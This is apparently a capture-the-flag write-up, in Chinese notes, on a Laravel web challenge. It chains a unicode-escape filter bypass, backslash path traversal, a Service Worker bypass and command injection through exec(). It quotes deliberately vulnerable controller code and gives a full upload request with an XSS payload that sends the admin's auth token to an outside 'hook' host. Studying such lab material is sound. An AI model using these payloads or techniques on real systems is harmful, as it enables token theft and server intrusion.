#web
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use App\Http\Middleware\DangerousWordFilter;
use App\Http\Controllers\FileController;
Route::post('/register', [AuthController::class, 'register'])->middleware(DangerousWordFilter::class);
Route::post('/login', [AuthController::class, 'login'])->middleware(DangerousWordFilter::class);
// New public route for serving admin files
Route::get('/announcement/{filename}', [FileController::class, 'servePublicAdminFile'])->where('filename', '.*');
Route::get('/announcements', [FileController::class, 'serveAllPublicAdminFile']);
Route::middleware('auth:sanctum')->group(function () {
Route::post('/logout', [AuthController::class, 'logout'])->middleware(DangerousWordFilter::class);
Route::get('/user', function (Request $request) {
return $request->user();
})->middleware(DangerousWordFilter::class);
// File Upload and Download Routes
Route::post('/upload', [FileController::class, 'upload'])->middleware(DangerousWordFilter::class);
Route::get('/download/{filename}', [FileController::class, 'download'])->middleware(DangerousWordFilter::class);
Route::get('/files', [FileController::class, 'getAllFiles']);
// Admin command execution
Route::post('/admin/testFile', [\App\Http\Controllers\AdminController::class, 'testFile']);
Route::post('/admin/report', [\App\Http\Controllers\AdminController::class, 'report'])->middleware(DangerousWordFilter::class);
});
step1
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use App\Http\Middleware\DangerousWordFilter;
use App\Http\Controllers\FileController;
// 用户注册接口,使用危险词过滤中间件
Route::post('/register', [AuthController::class, 'register'])->middleware(DangerousWordFilter::class);
....
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AdminController extends Controller
{
// 管理员文件测试接口
public function testFile(Request $request)
{
$user = Auth::user(); // 获取当前用户
if ($user->username !== 'admin') { // 仅允许admin用户访问
return response()->json( ['error' => 'Unauthenticated.'], 401);
}
$file = basename($request->input("file")); // 获取文件名并去除路径
$dst = uniqid(); // 生成唯一目标文件名
// 检查文件名中是否包含危险字符或flag关键字
if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
return response()->json(['error'=>"Be a nice hacker"]);
}
$file = "../storage/app/private/admin/" . $file; // 拼接文件路径
if(!file_exists($file)){ // 检查文件是否存在
return response()->json(['error'=>"$file not exist"]);
}
exec("cp $file $dst"); // 执行拷贝命令
return response()->json(['output' => "/$dst"]); // 返回拷贝后的文件路径
}
// 用户提交URL进行report
public function report(Request $request) {
$user = Auth::user(); // 获取当前用户
if ($user->username === 'admin') { // admin用户不能访问
return response()->json( ['error' => 'lonely?'], 400);
}
$url = $request->input("url"); // 获取用户提交的url
$cmd = "node ../visitor.js ".escapeshellarg($url); // 拼接命令,使用escapeshellarg防注入
exec($cmd); // 执行命令
return response()->json(['message'=>'ok', "cmd"=>$cmd]); // 返回执行结果
}
}
检查对象是“原始请求体字符串”而非“解码后的参数值”。代码只对 $request->getContent()
做 0stripos
检查,并未对 JSON 解码后的值检查。
step2
basename在linux上不会认为\
是路径分隔符
<?php
echo basename('/1/2/..\file_name');
// ..\file_name
?>
// 如果目录不存在则创建
if (!Storage::disk($disk)->exists($basePath)) {
Storage::disk($disk)->makeDirectory($basePath);
}
// 存储文件到指定目录
$filePath = $request->file('file')->store($basePath);
framework-12.x/src/Illuminate/Http/UploadedFile.php
:把上传文件委托到文件系统驱动。- 这里不做路径分隔符替换,只是把
$path
与随机名$this->hashName()
传给存储驱动的putFileAs
。
- 这里不做路径分隔符替换,只是把
34:37:framework-12.x/src/Illuminate/Http/UploadedFile.php
public function store($path = '', $options = [])
{
return $this->storeAs($path, $this->hashName(), $this->parseOptions($options));
}
84:97:framework-12.x/src/Illuminate/Http/UploadedFile.php
public function storeAs($path, $name = null, $options = [])
{
if (is_null($name) || is_array($name)) {
[$path, $name, $options] = ['', $path, $name ?? []];
}
$options = $this->parseOptions($options);
$disk = Arr::pull($options, 'disk');
return Container::getInstance()->make(FilesystemFactory::class)->disk($disk)->putFileAs(
$path, $this, $name, $options
);
}
framework-12.x/src/Illuminate/Filesystem/FilesystemAdapter.php
:Laravel 的适配层,包装 Flysystem。这里会创建PathPrefixer
,决定目录分隔符用于拼接“根路径 + 相对路径”,但本类自身不负责把用户输入中的\
改/
。
public function __construct(FilesystemOperator $driver, FlysystemAdapter $adapter, array $config = [])
{
$this->driver = $driver;
$this->adapter = $adapter;
$this->config = $config;
$separator = $config['directory_separator'] ?? DIRECTORY_SEPARATOR;
$this->prefixer = new PathPrefixer($config['root'] ?? '', $separator);
if (isset($config['prefix'])) {
$this->prefixer = new PathPrefixer($this->prefixer->prefixPath($config['prefix']), $separator);
}
}
- Flysystem(League\Flysystem,本地盘适配器 LocalFilesystemAdapter):真正的“路径规范化”发生地
- 虽然我们这里未直接打开 vendor 代码,但 Flysystem v3 的本地适配器会在读写前进行路径规范化:将所有分隔符统一为 POSIX 风格
/
,并折叠.
/..
。因此传入如uploads/..\\admin/xxx
会在底层被规范化为uploads/../admin/xxx
,实现目录上跳。 - 这与上层
basename()
的行为不一致(basename
不把\
当分隔符),构成“语义不一致”→“路径穿越”。
- 虽然我们这里未直接打开 vendor 代码,但 Flysystem v3 的本地适配器会在读写前进行路径规范化:将所有分隔符统一为 POSIX 风格
step 3
$filePath = $request->file('file')->store($basePath);
34:37:framework-12.x/src/Illuminate/Http/UploadedFile.php
/**
* 将上传的文件存储到文件系统磁盘上。
*
* @param string $path 存储路径
* @param array|string $options 存储选项
* @return string|false 返回存储后的文件路径或失败时返回false
*/
public function store($path = '', $options = [])
{
// 使用 hashName 生成唯一文件名,并调用 storeAs 方法进行存储
return $this->storeAs($path, $this->hashName(), $this->parseOptions($options));
}
hashName()
内部通过$this->guessExtension()
预测扩展名,若能猜到则追加为.ext
:
42:54:framework-12.x/src/Illuminate/Http/FileHelpers.php
/**
* 获取文件的哈希文件名。
*
* @param string|null $path 可选的路径前缀
* @return string 返回生成的哈希文件名(包含扩展名)
*/
public function hashName($path = null)
{
if ($path) {
$path = rtrim($path, '/').'/';
}
$hash = $this->hashName ?: $this->hashName = Str::random(40);
if ($extension = $this->guessExtension()) {
$extension = '.'.$extension;
}
return $path.$hash.$extension;
}
该方法来自 Symfony 的
UploadedFile/File
,基于文件内容的 MIME(finfo/symfony/mime)映射出扩展名;猜不到则不追加扩展。Laravel 还有一个独立工具方法也做同事(供其他场景用):
441:472:framework-12.x/src/Illuminate/Filesystem/Filesystem.php
/**
* 根据文件的 mime-type 猜测文件扩展名。
*
* @param string $path 文件路径
* @return string|null 返回扩展名或 null
*
* @throws \RuntimeException 如果缺少 symfony/mime 组件则抛出异常
*/
public function guessExtension($path)
{
// 检查 MimeTypes 类是否存在(即是否安装了 symfony/mime 组件)
if (! class_exists(MimeTypes::class)) {
throw new RuntimeException(
'要启用扩展名猜测功能,请安装 symfony/mime 组件。'
);
}
// 获取文件的 mime-type,并返回对应的第一个扩展名(如果有)
return (new MimeTypes)->getExtensions($this->mimeType($path))[0] ?? null;
}
/**
* 获取指定文件的类型(如 file、dir、link 等)。
*
* @param string $path 文件路径
* @return string 文件类型
*/
public function type($path)
{
return filetype($path);
}
/**
* 获取指定文件的 mime-type。
*
* @param string $path 文件路径
* @return string|false 返回 mime-type 字符串,失败时返回 false
*/
public function mimeType($path)
{
// 使用 finfo_open 和 finfo_file 获取文件的 mime-type
return finfo_file(finfo_open(FILEINFO_MIME_TYPE), $path);
}
..\admin\
\u002e\u002e\u005c\u0061\u0064\u006d\u0069\u006e\u005c
POST /api/upload HTTP/1.1
Host: 192.168.18.158:8888
Content-Length: 286
Authorization: Bearer 1|KWRmsUxGsfWpUlr4BKaKH8TsdlZcSiHu6wjOUyAC04a5eb05
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymXAgbGZbWcnTeaqK
Accept: */*
Origin: http://192.168.18.158:8888
Referer: http://192.168.18.158:8888/note
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6ImhWRU13QnVFbnVKdkFkak5uYk5EM3c9PSIsInZhbHVlIjoiWWVqTkRiZm00QWxlbU4yYVVRM2M2MlFHODNBcVpRdXprSFZabFcrMHdVeFY4L1o2dm5RWXJFdDFaTkhFQmJJSFYzVm15dmFuQjFUdWIzSGhhUUxZejFHaytmSmpqUFB3YVdEYUdDRFRwZ0h0cFpjSTdkeWhsOWZJcm1kRkYySlUiLCJtYWMiOiJhZjRhNzlkMjRiYjkxM2RmNDRiMTExOTUxNjczZDA0MDlkNzRiZDZkMTBlZjc2OTAzMDM1N2E3ZGY1ZTIwYzkyIiwidGFnIjoiIn0%3D; laravel-session=eyJpdiI6ImNZclM3aWxNaDRjbU1vbEY1dEpBdEE9PSIsInZhbHVlIjoicXZKK3hYWDA2NHlzMEJ5cGptZWo1bmZrd1hIek1qQkdKSjVQbmh6aVdHZUp0c3ZscW5qdllPM0NYTi9FaThIV3RBSEorUWZSVmlMM2JaUEVhUXZLaGE3VWRsN3IvSHB2Q1VGalJIQ2tSNmhkMERMTXl5R3NXb3p6ckQ1TWFpcFEiLCJtYWMiOiJjNWMwNmI2NTMzMTQ4YTI2YzA0Mzg4YzMwODkxNjU3ZmY3ZDBlZDVjMWNkODU0YmIzZGNlYWI5ZjliMTlkZjRlIiwidGFnIjoiIn0%3D
Connection: keep-alive
------WebKitFormBoundarymXAgbGZbWcnTeaqK
Content-Disposition: form-data; name="file"; filename="tmp.txt"
Content-Type: text/html; charset=utf-8
<html><body><script>fetch('http://hook/'+localStorage['auth_token'])</script></body></html>
------WebKitFormBoundarymXAgbGZbWcnTeaqK--
step 4
// 需要过滤的接口路径
const filterEndpoints = ['/api/announcement'];
// 监听 Service Worker 的激活事件
self.addEventListener('activate', (event) => {
// 立即取得所有客户端的控制权
event.waitUntil(self.clients.claim());
console.log('Service Worker: Claiming clients for immediate control.');
});
// 监听 fetch 事件,对特定接口进行处理
self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url);
// 如果请求路径不是以 filterEndpoints 中的任意一个开头,则不处理
if (!filterEndpoints.some(endpoint => url.pathname.startsWith(endpoint))) {
return;
}
// 对匹配的请求进行自定义响应
event.respondWith(
(async () => {
try {
// 第一步:从网络获取原始响应
const originalResponse = await fetch(event.request);
// 读取原始响应的文本内容
const originalData = await originalResponse.text();
// 复制原始响应头
const newResponseHeaders = new Headers(originalResponse.headers);
// 强制设置 Content-Type 为 text/plain
newResponseHeaders.set('Content-Type', 'text/plain');
// 返回新的响应对象
return new Response(originalData, {
status: originalResponse.status,
statusText: originalResponse.statusText,
headers: newResponseHeaders
});
} catch (error) {
// 捕获异常并返回 500 错误
console.log(error);
return new Response('Unexpected error occur', {
status: 500,
headers: { 'Content-Type': 'text/plain' }
});
}
})()
);
});
// Service Worker 启动日志
console.log('service worker is here!');
flowchart TD
A[用户访问带HTTP Basic Auth的URL<br>e.g. http://aaa:bbb@host/...] --> B{浏览器判断安全上下文};
B -- Firefox等浏览器 --> C[认为与普通URL<br>http://host/... 安全上下文不同];
B -- Chrome等浏览器 --> D[认为与普通URL安全上下文相同];
C --> E[不复用原有Service Worker<br>新建不受SW控制的文档环境];
D --> F[复用原有Service Worker<br>页面仍受SW控制];
E --> G[页面内XSS发起的跨域请求<br>成功外带数据];
F --> H[页面内XSS发起的跨域请求<br>被SW拦截或修改];
G --> I[攻击成功];
H --> J[攻击失败];
安全上下文与来源(Origin):浏览器的同源策略不仅比较协议、主机和端口,认证信息(如 HTTP Basic Auth 中的
user:pass
)也会被视为来源的一部分。因此http://user:pass@host/
与http://host/
在浏览器看来是不同的安全上下文。Service Worker 的注册与控制:
- Service Worker 在注册时会明确其作用域(scope)。
- 一个 Service Worker 只能控制其作用域范围内、且与其自身脚本所在位置同源(Same Origin) 的页面。
- 虽然
http://user:pass@host/
和http://host/
的“源”不同,但它们的协议、主机、端口通常一致。不同浏览器对此的处理策略存在差异:- Firefox 等浏览器可能会将带有用户认证信息的页面视为与原始注册环境不同的安全上下文,因此不复用原先的 Service Worker,从而创建一个不受 SW 控制的“纯净”环境。
- Chrome 等浏览器则可能更倾向于忽略认证信息部分,将其与原始注册环境视为同一安全上下文,从而复用 Service Worker,页面依然受控。
http://user:pass@127.0.0.1:8888/
step 5
参数注入或者直接命令注入
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
class AdminController extends Controller
{
// 管理员文件测试接口
public function testFile(Request $request)
{
$user = Auth::user(); // 获取当前认证用户
if ($user->username !== 'admin') { // 仅允许admin用户访问
return response()->json( ['error' => 'Unauthenticated.'], 401);
}
$file = basename($request->input("file")); // 获取文件名并去除路径
$dst = uniqid(); // 生成唯一文件名作为目标文件
// 检查文件名中是否包含危险字符或flag关键字,防止命令注入
if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
return response()->json(['error'=>"Be a nice hacker"]);
}
$file = "../storage/app/private/admin/" . $file; // 拼接文件路径
// 检查文件是否存在
if(!file_exists($file)){
return response()->json(['error'=>"$file not exist"]);
}
exec("cp $file $dst"); // 执行拷贝命令
return response()->json(['output' => "/$dst"]); // 返回拷贝后的文件路径
}
// 用户报告接口
public function report(Request $request) {
$user = Auth::user(); // 获取当前认证用户
if ($user->username === 'admin') { // admin用户不能访问该接口
return response()->json( ['error' => 'lonely?'], 400);
}
$url = $request->input("url"); // 获取用户提交的url
$cmd = "node ../visitor.js ".escapeshellarg($url); // 构造命令,使用escapeshellarg防止注入
exec($cmd); // 执行命令
return response()->json(['message'=>'ok', "cmd"=>$cmd]); // 返回执行结果
}
}
QEF
#php #xss #作用域 #过滤后转换 #目录穿越 #歧义造成的漏洞